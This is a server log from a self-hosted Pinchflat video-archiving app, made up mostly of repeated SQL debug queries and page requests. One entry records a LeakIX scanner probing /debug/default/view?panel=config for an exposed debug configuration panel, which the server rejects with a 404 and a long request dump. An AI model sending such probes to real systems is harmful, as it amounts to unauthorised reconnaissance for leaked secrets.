WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:38.535 [debug] QUERY OK source="sources" db=0.1ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:51:38.536 [info] Sent 200 in 16ms 04:51:39.501 [info] GET /debug/default/view 04:51:39.502 [debug] QUERY OK source="settings" db=0.4ms idle=971.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:39.503 [debug] QUERY OK source="settings" db=0.5ms idle=969.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:39.503 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:39.504 [error] #PID<0.138889.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 31) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /debug/default/view?panel=config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138889.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUtIXuWLRWOQsADZGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138889.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, (truncated) 04:51:55.664 [info] GET / 04:51:55.664 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:51:55.665 [debug] QUERY OK source="settings" db=0.3ms idle=1130.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:55.666 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1131.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:51:55.667 [debug] QUERY OK source="sources" db=0.4ms idle=1131.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:51:55.669 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1046.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:55.669 [debug] QUERY OK source="media_items" db=0.3ms idle=44.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:55.669 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:55.670 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:55.670 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:55.671 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:51:55.672 [debug] QUERY OK source="media_items" db=0.7ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:55.672 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:55.673 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:51:55.676 [debug] QUERY OK source="media_items" db=1.2ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:51:55.677 [debug] QUERY OK source="media_items" db=1.4ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:55.678 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:51:55.679 [info] Sent 200 in 14ms 04:51:59.594 [info] GET / 04:51:59.594 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:51:59.595 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=964.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:59.596 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=61.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:51:59.597 [debug] QUERY OK source="sources" db=0.3ms idle=61.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:51:59.599 [debug] QUERY OK source="media_items" db=2.5ms idle=62.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:59.600 [debug] QUERY OK source="media_items" db=0.3ms idle=65.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:59.600 [debug] QUERY OK source="settings" db=0.0ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:59.601 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:59.601 [debug] QUERY OK source="settings" db=0.0ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:59.602 [debug] QUERY OK source="tasks" db=0.2ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:51:59.602 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:59.603 [debug] QUERY OK source="media_items" db=0.4ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:59.603 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:51:59.606 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:51:59.608 [debug] QUERY OK source="media_items" db=1.5ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:59.608 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:51:59.609 [info] Sent 200 in 15ms 04:52:00.895 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:05.721 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:07.955 [info] GET / 04:52:07.956 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:52:07.957 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=421.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:07.957 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=422.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:52:07.958 [debug] QUERY OK source="sources" db=0.2ms idle=423.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:52:07.960 [debug] QUERY OK source="media_items" db=2.3ms idle=423.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:07.962 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=308.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:07.963 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:07.963 [debug] QUERY OK source="settings" db=0.1ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:07.964 [debug] QUERY OK source="settings" db=0.0ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:07.964 [debug] QUERY OK source="tasks" db=0.1ms idle=3.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:52:07.965 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 